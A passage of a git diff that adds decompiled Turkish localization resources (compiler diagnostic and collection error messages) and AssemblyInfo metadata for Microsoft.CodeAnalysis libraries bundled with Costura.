bildirmeyi düşünün. + '{0}' temel sınıfa sahip değil ve temel oluşturucu çağıramaz + '{0}' ile en iyi eşleşen tekrar yüklenen yöntem, başlatıcı öğesi için yanlış imza içeriyor. Başlatılabilir Add, erişilebilir bir örnek yöntemi olmalıdır. + Ortak imzalama belirtildi ve ortak anahtar gerekiyor, ancak ortak anahtar belirtilmedi. + Parametre türündeki başvuru türlerinin null atanabilirliği örtük olarak uygulanan üyeyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + Dönüş türündeki başvuru türlerinin null atanabilirliği uygulanan '{0}' üyesiyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + ) bekleniyor + '{0}' kaynak dosyası bulunamadı. + özellik + C# {2} için geçersiz '{0}' değeri: '{1}'. Lütfen '{3}' veya daha yüksek bir dil sürümü kullanın. + '{0}' öğesi salt okunur olduğundan başvuru ile döndürülemez + '&' operatörünün hedefi olarak alıcı içeren bir genişletme metodu kullanılamaz. + '{0}' parametresi için geçerli olan CallerArgumentExpressionAttribute öğesinin hiçbir etkisi olmaz. CallerFilePathAttribute tarafından geçersiz kılındı. + Void döndüren bir temsilciye dönüştürülmüş anonim işlev bir değer dönüştüremez + Bir desende 'dynamic' türünün kullanılmasına izin verilmiyor. + {0} '{1}', salt okunur değişken olduğundan ref veya out değeri olarak kullanılamaz + Yıkıcılar ve object.Finalize doğrudan çağrılamaz. Kullanılabiliyorsa IDisposable.Dispose çağırmayı düşünün. + Hedef çalışma zamanı arabirimlerde statik soyut üyeleri desteklemediğinden, '{0}', '{2}' türündeki '{1}' arabirim üyesini uygulayamıyor. + İmzalar eşleşmediğinden '{0}' metodu '{1}' engelleyicisi ile durdurulamıyor. + Karakter sabiti değerinde çok fazla karakter var + SyntaxTree derlemenin bir parçası değil + Farklı #pragma sağlama toplamı değerleri verildi + SecurityAction değeri '{0}', PrincipalPermission özniteliği için geçersiz + Hatalı dizi bildirimcisi: Sıra belirleyicisi, yönetilen bir diziyi bildirmek için değişkenin tanımlayıcısından önce gelir. Sabit boyutlu arabellek alanı bildirmek için, alan türünden önce fixed anahtar sözcüğünü kullanın. + '{0}' öğesinin kısmi bildirimleri aynı sırada aynı tür parametresi adlarına ve varyans değiştiricilerine sahip olmalıdır + '{0}', '{1}' özel sınıfından türetilemez + '{0}', '{1}' döndüren bir zaman uyumsuz yöntem olduğundan döndürme anahtar sözcüğünün ardından nesne ifadesi gelmemelidir. + Salt okunur olduğundan '{0}' bir ref veya out değeri olarak kullanılamaz + Nesne veya koleksiyon başlatıcısı, null olma olasılığına sahip '{0}' üyesine örtük olarak başvuruyor. + '{0}' kaynak türü için sorgu kalıbının uygulaması bulunamadı. '{1}' bulunamadı. + CallerMemberNameAttribute yalnızca varsayılan değeri olan parametrelere uygulanabilir + Tür içe aktarılan ad alanıyla çakışıyor + XML yorumu '{0}' için bir param etiketine sahip, ancak bu adlı bir parametre yok + Tür parametresi dış metottaki tür parametresi ile aynı türe sahip + '{0}' parametresi açıkça sağlanmadı, ancak '{1}' parametresinde düz metin arasına kod eklenmiş dize işleyici dönüştürmesi için bağımsız değişken olarak kullanılır. '{1}' değerinden önce '{0}' değerini belirtin. + Genel olarak görülebilir tür veya üye için eksik XML açıklaması + '{1}' türünü içeren '{0}' bütünleştirilmiş kodu, desteklenmeyen .NET Framework'e başvuruyor. + Tam sayı sabiti ile karşılaştırma yararsızdır, sabit türün aralığının dışında + Tür, genel tür veya metot için tür parametresi olarak kullanılamıyor. Tür bağımsız değişkeninin boş değer atanabilirliği, kısıtlama türüyle eşleşmiyor. + Type operator == or operator != öğesini tanımlar, ancak Object.GetHashCode() öğesini geçersiz kılmaz + Kaynakta görünen örnek için öznitelik yoksayılacak + '{0}' kaynak dosyası açılamadı -- {1} + '{0}' özniteliği bu bildirim türünde geçerli değil. Yalnızca '{1}' bildirimlerinde geçerlidir. + İfade ağacı, null birleştirme ataması içeremez + '{0}' adlı bir yerel veya parametre, bu ad bir kapanış yerel kapsamında bir yereli veya parametreyi tanımlamak için kullanıldığından bu kapsamda ifade edilemiyor + '{0}', '{1}' türüne sahip. Dizeden başka bir başvuru türünün varsayılan parametre değeri yalnızca null ile başlatılabilir + '{1}' veya '{2}' özniteliği eksik olduğundan '{0}' derlemesinden birlikte çalışma türleri katıştırılamıyor. + Muhtemelen null atanabilirlik öznitelikleri nedeniyle, '{0}' parametresinin '{1}' türündeki başvuru türlerinin null atanabilirliği '{2}' hedef temsilcisiyle eşleşmiyor. + '{0}' kısıtlama türü CLS uyumlu değil + Düz metin arasına kod eklenmiş dize işleyici oluşturma işlemi dinamik kullanamaz. '{0}' örneğini el ile oluşturun. + Statik alan veya '{0}' özelliği bir nesne başlatıcısına atanamaz + Yinelenen '{0}' özniteliği + '{0}' özniteliği yalnızca System.Attribute türevi olan sınıflarda geçerlidir + Ref koşullu operatörünün dalları, uyumsuz bildirim kapsamlarına sahip değişkenlere başvurur + Beklenmeyen karakter sırası '...' + '{1}' metodunun '{0}' tür parametresi için kısıtlamalardaki boş değer atanabilirlik, '{3}' arabirim metodunun '{2}' tür parametresi için kısıtlamalarla eşleşmiyor. Bunun yerine açık bir arabirim uygulaması kullanmayı düşünün. + Yapı türünün null değeri ile karşılaştırma her zaman 'false' değerini üretir + RequiredAttribute özniteliğine C# türlerinde izin verilmiyor + Derleyici tarafından oluşturulanlar dahil yalnızca 65534 yerele izin verilir + Geçici olarak ele alınmayacağından, geçici bir alan normalde ref veya out değeri olarak kullanılmalıdır. Bunun, kenetlenmiş bir API'nin çağrılması durumunda olduğu gibi özel durumları olabilir. + Türdeki başvuru türlerinin boş değer atanabilirliği, geçersiz kılınan üye ile eşleşmiyor. + '{1}' ve '{2}' derlemelerinde bulunan birlikte çalışma türü '{0}' eklenemiyor. 'Embed Interop Types' özelliğini false olarak ayarlamayı deneyin. + yol çok uzun veya geçersiz + '{1} {0}' yanlış dönüş türüne sahip + Üye bir koşulda çıkış yaparken null olmayan bir değere sahip olmalıdır. + '{0}' parametre türündeki başvuru türlerinin boş değer atanabilirliği, uygulanan '{1}' üyesi ile eşleşmiyor. + Tür koleksiyon desenini uygulamaz; üye yanlış imzaya sahip + async main + '{2}' bütünleştirilmiş kodundaki '{1}' türü üzerinde '{0}' üyesi bulunamadı. + Bitiş etiketi bu konumda beklenmedi. + '{1}': '{0}' statik sınıfından türetilemiyor + 'UnmanagedCallersOnly' özniteliğine sahip metotlar genel tür parametreleri içeremez ve genel bir türde bildirilemez. + Bir başvuruya göre sıralama sınıfının alanı olduğundan '{0}' öğesinde bir üyeye erişmek çalışma zamanı istisnasına neden olabilir + İfade bekleniyor + '{0}' tarafından arkadaş erişimi izni verildi, ancak çıkış bütünleştirilmiş kodunun ('{1}') ortak anahtarı, izin veren bütünleştirilmiş koddaki InternalsVisibleTo özniteliği tarafından belirtilenle eşleşmiyor. + '{0}' dil tarafından desteklenmeyen bir tür + '{0}' modül başlatıcısı metodu statik olmalı, sanal olmamalı, hiç parametresi olmamalı ve 'void' döndürmelidir + Yineleyici bloku olan '{0}' yönteminin '{1}' döndürmek için 'zaman uyumsuz' olması gerekir + İfade açıkça Boolean öğesine dönüştürülebilir olmalı ya da '{0}' türü '{1}' işlecini tanımlamalıdır. + Nesne birden çok kez atılabilir + '{0}' parametresine uygulanan CallerMemberNameAttribute değerinin hiçbir etkisi olmayacaktır. CallerLineNumberAttribute tarafından geçersiz kılınmıştır. + Derleme başvurusu geçersiz ve çözümlenemiyor + ++ veya -- işlecinin parametre türü, kapsayan tür olmalıdır + Atanmamış olabilecek otomatik uygulanan '{0}' özelliğinin kullanımı. Özelliği otomatik olarak varsayılan durumuna getirmek için '{1}' dil sürümüne güncelleştirmeyi düşünün. + Null sabit değeri veya olası null değeri, boş değer atanamaz türe dönüştürülüyor. + RuntimeMetadataVersion için değer bulunamadı + '{0}' statik olmayan alanı, yöntemi veya özelliği için nesne başvurusu gerekiyor + Bir ref parametresi aracılığıyla '{0}' parametresinin bir üyesine başvuruda bulunarak döndürülemez; sadece bir return ifadesinde döndürülebilir. + Derleme bir CLSCompliant özniteliğine sahip olmadığından tür veya üye CLS uyumlu olarak işaretlenemez + Açık dönüş türü olmadan, anonim yöntemlerde AsyncMethodBuilder özniteliğine izin verilmez. + Yöntem grubunu temsilci olmayan türe dönüştürme + '{0}': '{1}' geçersiz kılınan üyesiyle eşleştirmek için dönüş türü '{2}' olmalıdır + Bir using değişkeni, switch bölümü içinde doğrudan kullanılamaz (ayraç kullanmayı deneyin). + Gönderim en fazla bir sözdizimi ağacına sahip olabilir. + Hiçbir '{0}' yeniden yüklemesi '{1}' temsilcisiyle eşleşmiyor + Bu bağlamda '{0}' tanımlayıcısı, '{1}' tipi ve '{2}' parametresi arasında belirsizdir. + XML yorumu cref özniteliğinde parametre için geçersiz tür + '{0}' adı, '{1}' demet öğesini tanımlamıyor. + Dizin oluşturucu içeren bir tür üzerinde DefaultMember özniteliği belirtilemez + Uyarı düzeyi sıfır veya daha büyük olmalıdır + ifade gövdeli dizin oluşturucu + '{0}' yerel işlevi 'static extern' olarak işaretlenmediğinden bir gövde bildirmelidir. + {0} parametresi, lambdada '{1:10}' varsayılan değerine ancak temsilci türünde ise '{2:10}' değerine sahip. + '{0}': dinamik türden türetilemez + '{0}' kısmi metodunun void olmayan bir dönüş türü olduğundan erişilebilirlik değiştiricileri olmalıdır. + İfade ağacı lambdası, sol tarafı null veya varsayılan sabit değer olan bir birleştirme işleci içeremez + '{0}': Asenkron bir using deyiminde kullanılan tür örtük olarak 'System.IAsyncDisposable' arabirimine dönüştürebilir olmalı veya uygun bir 'DisposeAsync' metodunu uygulamalıdır. + Sözdizimi hatası, '{0}' bekleniyor + '{2}' gerekli üyelere sahip olduğundan '{2}', '{0}' genel türünde veya metodunda bulunan '{1}' parametresindeki 'new()' kısıtlamasını karşılayamıyor. + Switch ifadesi, giriş türünün adlandırılmamış sabit listesi değeri gibi bazı değerlerini işlemiyor (ifade tam kapsamlı değil.). Örneğin, '{0}' deseni kapsanmıyor. + '{0}' türündeki bağımsız değişken, başvuru türlerinin null atanabilirlik farklılıkları nedeniyle '{3}' içinde '{1}' türündeki '{2}' parametresi için kullanılamaz. + Tanınan bir öznitelik konumu değil + Bu bağlamda '{0}' sonucunun kullanılması, '{1}' parametresi tarafından başvurulan değişkenleri bildirim kapsamının dışında gösterebilir. + Öğe başlatıcısı boş olamaz + 'readonly' üyesinden saltokunur olmayan '{0}' üyesine yapılan çağrı, '{1}' öğesinin örtük bir kopyası ile sonuçlanır. + {0} yan tümcesindeki ifadenin türü yanlış. '{1}' çağrısında anlam çıkarma başarısız oldu. + istisna filtresi + En az birüst düzey deyim boş olmamalıdır. + '{0}' öğesinin kısmi metot bildirimleri, '{1}' tür parametresi için tutarsız kısıtlamalara sahip + \ No newline at end of file diff --git a/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/costura.tr.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/costura.tr.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/costura.tr.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.tr.resx b/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.tr.resx new file mode 100644 index 0000000..867bf5d --- /dev/null +++ b/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.tr.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089struct + öğe bekleniyor + PE görüntüsü kullanılamıyor. + Ortak anahtar belirtecinin boyutu geçersiz. + Ek dosya, temel alınan 'CompilationWithAnalyzers' öğesine ait değil. + Birden çok genel çözümleyici yapılandırma dosyası, '{1}' bölümünde aynı '{0}' anahtarını ayarladı. Ayar kaldırıldı. Anahtar şu dosyalar tarafından ayarlandı: '{2}' + Eski dosya imzalama için geçici yol kullanılamıyor. + olay + '{0}' türünü içeren bütünleştirilmiş kod, desteklenmeyen .NET Framework'e başvuruyor. + Derleme başvurusu: '{0}' + Geçerli derlemeye IVT sağlar: {1} + Şunlara IVT sağlar: + Çözümleyicisi '{0}', 'SupportedDiagnostics' boş bir tanımlayıcısı içerir. + '{0}' parametresi bu derleme veya bazı başvurulan derleme bir sembol olması gerekir. + Tutarsız dil sürümleri + Başvuru çözümleyicisi boş olmayan okunabilir akış döndürmelidir. + Geçersiz derleme seçenekleri: Gönderim imzalanamıyor. + pathMap öğesinde bir anahtar boş. + Çözümleyici yapılandırma dosyasında geçersiz önem derecesi. + Kural kümesi dosyası farklı '{1}' ve '{2}' eylemleri ile '{0}' için yinelenen kurallara sahiptir. + Tür SyntaxAnnotation'ın alt sınıfı olmalıdır. + Değer, 30 bit işaretsiz tamsayı olarak temsil edilemeyecek kadar büyük. + Bir modüle diğer ad verilemez. + Derleme kültürü adında geçersiz karakterler + modül + yöntem + Windows PDB yazıcısı, belirlenimci derlemeyi desteklemiyor: '{0}' + Çözümleyici + '{0}' parametresi 'INamedTypeSymbol' veya 'IAssemblySymbol' olması gerekir. + Bu çözümleyiciyi devre dışı bırakmak için şu tanılamaları gizleyin: {0} + sınıf + Uyarı: Çok çekirdekli JIT, özel durum nedeniyle etkinleştirilemedi: {0}. + Ekli metinler yalnızca PDB gösterilirken desteklenir. + Derleme meta verileri oluşturmak için modül kopyası kullanılamaz. + Genel çözümleyici yapılandırması bölümü adı ('{0}') mutlak bir yol olmadığından geçersiz. Bölüm yoksayılacak. Bölüm '{1}' dosyasında bildirildi + Simge akışı beklenen biçimde değil. + '{0}' tanılamasına '{2}' konumundaki çözümleyici yapılandırma dosyasında geçersiz bir önem derecesi ('{1}') verildi. + Derleme adı: '{0}' + Ortak Anahtarlar: + Dosya bulunamadı. + {0} özniteliği {1} geçersiz değerine sahip. + COFF nesnesi biçiminde olduğu varsayılan Win32 kaynakları geçersiz bölüm boyutuna sahiptir. + SourceText'in '{0}'' hintName'i açık bir kodlama kümesi olmalıdır. + Tanınmayan kaynak dosyası biçimi. + parametre + özellik, dizin oluşturucusu + {0} öğesinde {1} adlı öznitelik eksik. + Kaldırılacak MetadataReference '{0}' bulunamadı. + '{0}' meta veri modülünde geçersiz modül adı belirtildi: '{1}' + Ad geçersiz karakterler içeriyor. + Bu seçenek için bir dil adı belirtilemiyor. + PDB, PE akışına eklenirken PDB akışı verilmemelidir. + Hiçbiri + Yalnızca meta veriler yayınlanırken, PDB akışı sağlanmamalıdır. + hintName '{0}', {2} konumunda geçersiz bir '{1}' karakteri içeriyor. + Çözümleyici Sürücüsü Hatası + Birden çok genel çözümleyici yapılandırma dosyası aynı anahtarı ayarladı. Ayar kaldırıldı. + Bir başvuru bütünleştirilmiş kodu yayınlamıyorsa özel üyeler içermelidir. + /keepalive' seçeneğinin -1'den düşük bağımsız değişkenleri geçersiz. + Belirtilen işlemin null olmayan bir üst öğesi var. + Genel çözümleyici yapılandırması bölümü adı mutlak bir yol olmadığından geçersiz. Bölüm yoksayılacak. + Mutlak yok bekleniyor. + {0} uzaklığında geçersiz veriler: {1}{2}*{3}{4} + Hatanın nedeni belirlenemiyor. + XML belgelerine yönelik başvurular desteklenmez. + Akış çok uzun. + Dönüş türü bir değer türü, işaretçi, başvuru tarafından veya açık genel tür olamaz + Bir demet için temel alınan tür, demet ile uyumlu olmalıdır. + Şu bağlama sahip özel durum oluştu: +{0} + '{0}' türü, serileştirme bağlayıcısı tarafından anlaşılamıyor. + Tutarsız söz dizimi ağacı özellikleri + Birlikte çalışma türleri modülden katıştırılamıyor. + SourceText eklenemedi. Yapılandırmada kodlamayı veya canBeEmbedded=true değerini sağlayın. + Akış, geçersiz veri içeriyor + Süre (sn) + Modülde geçersiz öznitelikler var. + Söz dizimi ağacı temel alınan 'Compilation' öğesine ait değil. + Geçersiz karma değer. + '/keepalive' seçeneği yalnızca '/shared' seçeneği ile geçerlidir. + İkincil bütünleştirilmiş kod çıktısına yayın yapılırken özel üyeleri ekleme özelliği kullanılmamalıdır. + Geçerli derleme ve tüm başvurulan derlemeler için 'InternalsVisibleToAttribute' bilgileri yazdırılıyor. + {0}.ResolveStrongNameKeyFile tarafından döndürülen yol mutlak olmalıdır: '{1}' + Kural kümesi dosyası '{0}' bulunamadı. + Derleme imzalama desteklenmiyor. + Bildirilen tanılamanın ('{0}') kaynak konumu olan '{1}', '{2}' dosyasında ve bu konum, belirtilen dosyanın dışında. + İzlenecek düğüm, kökün alt öğesi değil. + Belirtilen işlem bloğu geçerli analiz bağlamına ait değil. + Belirtilen öğe, bir liste öğesi değil. + temsilci + Akışa yazılamıyor. + /shared:' bağımsız değişkeninin değeri boş olamaz + '{0}' türünün seri durumdan çıkarma okuyucusu, yanlış sayıda değer okudu. + '{0}' çözümleyicisi, 'SupportedSuppressions' içinde boş bir tanımlayıcı içeriyor. + Bir gönderime başvuru oluşturulamaz. + {0}.ResolveMetadataFile tarafından döndürülen yol mutlak olmalıdır: '{1}' + Çözümlenmemiş: + /keepalive' seçeneğinin bağımsız değişkeni 32 bitlik bir tamsayı değil. + Yayılım bir satırın başlangıcını içermez. + Konum olmadan bir derlemeye meta veri başvurusu oluşturulamaz. + Geçersiz kültür adı: '{0}' + Geçersiz izleme türü: {0} + Demetler en az iki öğe içermelidir. + Değişiklikler sıralanmalı ve çakışmamalıdır. + Roslyn derleyici sunucusu derleme görevinden farklı protokol sürümü bildiriyor. + Çözümleyicinin toplam yürütme süresi: {0} saniye. + Derleme seçeneklerinde hata bulunmamalıdır. + '{0}' türü seri hale getirilemiyor. + Yalnızca meta veriler yayınlanırken, meta veri PE akışı sağlanmamalıdır. + Boş veya geçersiz kaynak adı + Dönüş türü void, başvuru tarafından veya açık genel tür olamaz + Windows PDB yazıcısı SourceLink özelliğini desteklemiyor: '{0}' + Geçersiz genel anahtar belirteci + '{0}: {1}' tanılaması, '{2}' gizleme kimliği ve '{3}' gerekçesi ile DiagnosticSuppressor tarafından programlama yoluyla gizlendi + /keepalive' seçeneği için bağımsız değişken eksik. + <bellek modülü> + Oluşturucu + Belirtilen işlemin null bir anlam modeli var. + Windows PDB yazıcısının sürümü, gerekli olan '{0}' sürümünden eski + Bir düğüm veya belirteç sıranın dışında. + Meta veriler yayınlanırken PDB eklemeye izin verilmez. + Dinamik bir derleme dosyasına bir meta veri başvurusu oluşturulamaz. + '{0}' gizlenmiş tanılama kimliği, belirtilen gizleme tanımlayıcısı için gizlenebilir '{1}' kimliği ile eşleşmiyor. + COFF nesnesi biçiminde olduğu varsayılan Win32 kaynakları, bir veya daha fazla geçersiz sembol değerine sahiptir. + Akış okuma ve arama işlemlerini desteklemelidir. + sabit listesi + Raporlanan '{0}' tanılamasının kaynak konumu, çözümlenen derlemenin bir parçası olmayan '{1}' dosyası içinde. + alan + Ad boş olamaz. + Toplam oluşturucu yürütme süresi: {0} saniye. + COFF nesnesi biçiminde olduğu varsayılan Win32 kaynaklarında '.rsrc$01' ve '.rsrc$02' bölümlerinden biri veya her ikisi eksik + Demet öğesi adları belirtildiyse, öğe adlarının sayısı demetin kardinalitesiyle eşleşmelidir. + İlgili yield return deyimi silindiğinden Düzenle ve Devam Et, askıya alınmış yineleyiciyi sürdüremiyor + Geçersiz içerik türü + {0}.GetMetadata() bir {1} örneği döndürmelidir. + Bildirilen tanılama, geçerli bir tanıtıcı olmayan '{0}' kimliğine sahip. + Bir derleme dosyasına bir modül başvurusu oluşturulamaz. + Demet öğelerine yönelik boş değer atanabilir ek açıklamalar belirtildiyse, ek açıklamaların sayısı demetin kardinalitesiyle eşleşmelidir. + Bağımsız değişken, yinelenen çözümleyici örnekleri içeriyor. + Ad boşluk ile başlayamaz. + Birden çok boyutlu diziler seri hale getirilemez. + Hata ayıklama sırasında bütünleştirilmiş kod başvurusunun sürümünü değiştirmeye izin verilmez: '{0}' sürümü, '{1}' olarak değiştirildi. + '{0}' kimliği ile bildirilen tanılama, çözümleyici tarafından desteklenmiyor. + Bu seçenek için bir dil adı belirtilmelidir. + Yöntem sembolü bekleniyor + Çıkış türü desteklenmiyor. + ayırıcı bekleniyor + Listedeki düğümlerden biri beklenen türde değil. + HintName '{0}', {2} konumunda geçersiz bir '{1}' segmenti içeriyor. + {0} değeri 'default' olmalı veya {1} ile aynı uzunlukta olmalıdır. + Ad null olamaz. + Değişiklikler, SourceText sınırları içinde olmalıdır + Desteklenmeyen karma değer algoritması. + Kaynak akış sağlayıcısı boş olmayan akış döndürmelidir. + WindowsRuntime kimliği yeniden hedeflendirilebilir olamaz + Bağımsız değişken, bu CompilationWithAnalyzers örneğinin 'Analyzers' öğesine ait olmayan bir çözümleyici örneği içeriyor. + Başvuru bütünleştirilmiş kodu yayınlanırken net modülü hedeflenemez. + '{0}' türü seri durumdan çıkarılamıyor. + Akış okunabilir olmalıdır. + arabirim + COFF nesnesi biçiminde olduğu varsayılan Win32 kaynakları, bir veya daha fazla geçersiz konum değiştirme üst bilgi değerine sahiptir. + '{0}' çözümleyicisi '{2}' iletisiyle '{1}' türünde bir özel durum oluşturdu. +{3} + <bellek içi derleme> + {0} ile {1} aynı uzunlukta olmalıdır. + Eklenen kaynak dosyanın '{0}' hintName'i bir oluşturucu içinde benzersiz olmalıdır. + Demet öğesi adı boş bir dize olamaz. + Gönderim için geçersiz çıkış türü. DynamicallyLinkedLibrary bekleniyor. + SuppressionDescriptor türünün kimliği, null veya boş bir dize ya da yalnızca boşluk içeren bir dize olmamalıdır. + Akış yazılabilir olmalıdır. + Geçersiz derleme adı: '{0}' + Geçersiz diğer ad. + oluşturucu + Çözümleyici bulunamadı + Derleme en az bir modüle sahip olmalıdır. + İlgili await ifadesi silindiğinden Düzenle ve Devam Et, askıya alınmış zaman uyumsuz metodu sürdüremiyor + Kaynak veri sağlayıcısı boş olmayan akış döndürmelidir + '{0}' kimlikli raporlanamayan tanılama gizlenemiyor. + Kaynak akışı {0} baytta sona erdi {1} bayt bekleniyordu. + PE görüntüsü yönetilen meta verileri içermiyor. + Boş veya geçersiz dosya adı + dönüş + Çözümleyici sürücüsü, '{0}' iletisiyle '{1}' türünde bir özel durum oluşturdu. +{2} + Dosya boyutu geçerli meta veri dosyasının izin verilen maksimum boyutunu aşıyor. + Yayılma, bir satırın sonunu içermiyor. + Önceki gönderimde hatalar var. + Derleme, sürümleri yalnızca otomatik olarak oluşturulan derleme ve/veya düzeltme numaraları bakımından farklı olan birden çok bütünleştirilmiş koda başvuruyor. + Bir çözümleyici tanılamasının programlı bir şekilde gizlenmesi + Derleme dosyası bulunamadı + Geçersiz genel anahtar. + Akıştan okunamıyor. + '{0}' türündeki başvuru bu derleme için geçerli değil. + İstenen satır numarası {0}, {1} satır sayısından az olmalıdır. + DiagnosticDescriptor türünün null veya boş dize ya da yalnızca boşluk içeren dize olmayan bir kimliğinin olması gerekir. + '{0}' kimliği ile bildirilen gizleme, gizleyici tarafından desteklenmiyor. + Sağlanan işlem denetimi akış grafiği bir parçası olmalıdır. + Oluşturucu başına tek bir {0} kaydedilebilir. + Tür, önceki gönderimin konak nesnesi türü ile aynı olmalıdır. + Demet öğelerinin konumları belirtildiyse, konumların sayısı demetin kardinalitesiyle eşleşmelidir. + Geçerli derleme: '{0}' + '{0}' geçerli bir yerleşik operatör adı değildi + Desteklenmeyen yerleşik operatör: {0} + Geçersiz yerleşik operatör adı '{0}' + 'bitiş', 'başlangıç' değerinden küçük olmamalıdır. başla='{0}' bitiş='{1}'. + Bir modüle başvuru oluşturulamaz. + Çözümleyici Hatası + Beklenen boş olmayan ortak anahtar + Eklenen kural kümesi dosyası {0} yüklenirken bir hata oluştu: {1} + Derleme adında geçersiz karakterler + NOT: Çözümleyiciler eşzamanlı olarak çalışabileceğinden, geçen süre çözümleyicinin yürütme süresinden daha az olabilir. + Bağımsız değişken null öğe içeremez. + Bağımsız değişken boş olamaz. + derleme + tür parametresi + 'start' negatif olmamalıdır + Boyut pozitif olmalıdır. + pathMap'te bir değer null. + \ No newline at end of file diff --git a/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.tr.resx b/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.tr.resx new file mode 100644 index 0000000..8e70b14 --- /dev/null +++ b/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.tr.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Hedef dizinin alt sınırı sıfır olmalıdır. + Hedef dizi türü, koleksiyondaki öğelerin türüyle uyumlu değil. + Koleksiyon sabit bir boyuta sahipti. + Koleksiyon değiştirildi; sabit listesi işlemi yürütülemeyebilir. + Sayı, dizinin ilk boyutunun alt sınırından daha küçüktü. + Hedef dizi, koleksiyondaki tüm öğeleri kopyalamak için yeterince uzun değil. Dizi dizinini ve uzunluğunu denetleyin. + Dizideki iki öğe karşılaştırılamadı. + Aynı anahtara sahip bir öğe zaten eklenmiş. Anahtar: {0} + Belirtilen diziler aynı sayıda boyuta sahip olmalıdır. + Uzaklık ve uzunluk dizi sınırlarının dışındaydı veya sayı, dizinden kaynak koleksiyonun sonuna kadar olan öğe sayısından daha büyük. + IComparer.Compare() metodu tutarsız sonuçlar döndürdüğünden sıralanamıyor. Bir değer kendisiyle karşılaştırıldığında eşit olmuyor veya bir değer başka bir değerle art arda karşılaştırıldığında farklı sonuçlar oluşuyor. IComparer: '{0}'. + Sayı pozitif olmalı ve dize/dizi/koleksiyon içinde bir konuma başvurmalıdır. + Dizin aralık dışındaydı. Negatif bir değer olmamalı ve koleksiyonun boyutundan daha küçük olmalıdır. + Nesne, karşılaştırılacağı dizi ile aynı sayıda öğeye sahip bir dizi değil. + kapasitesi geçerli boyuttan küçüktü. + Yalnızca tek boyutlu diziler, istenen eylem için destekleniyor. + Bir sözlükten türetilmiş değer koleksiyonunun değiştirilmesine izin verilmiyor. + Koleksiyon boyutundan daha büyük. + Dizin, Liste sınırları içinde olmalıdır. + Negatif olmayan sayı gerekiyor. + Eski değer bulunamıyor + Eşzamanlı olmayan koleksiyonları değiştiren işlemler özel erişime sahip olmalıdır. Bu koleksiyonda eşzamanlı bir güncelleştirme gerçekleştirildi ve durumu bozuldu. Koleksiyonun durumu artık doğru değil. + Verilen '{0}' anahtarı sözlükte yoktu. + Bir sözlükten türetilmiş anahtar koleksiyonunu değiştirilmesine izin verilmiyor. + Hedef dizi yeterince uzun değildi. Hedef dizini, uzunluğu ve dizinin alt sınırını kontrol edin. + Karma tablosunun kapasitesi taştı ve negatif oldu. Yükleme faktörünü kapasitesini ve tablonun geçerli boyutunu denetleyin. + Kaynak dizi yeterince uzun değildi. Kaynak dizini, uzunluğu ve dizinin alt sınırını kontrol edin. + "{0}" değeri "{1}" türünde değil ve bu genel koleksiyonda kullanılamaz. + Sabit listesi işlemi başlamamış ya da zaten bitmiş. + \ No newline at end of file diff --git a/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/tr.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: 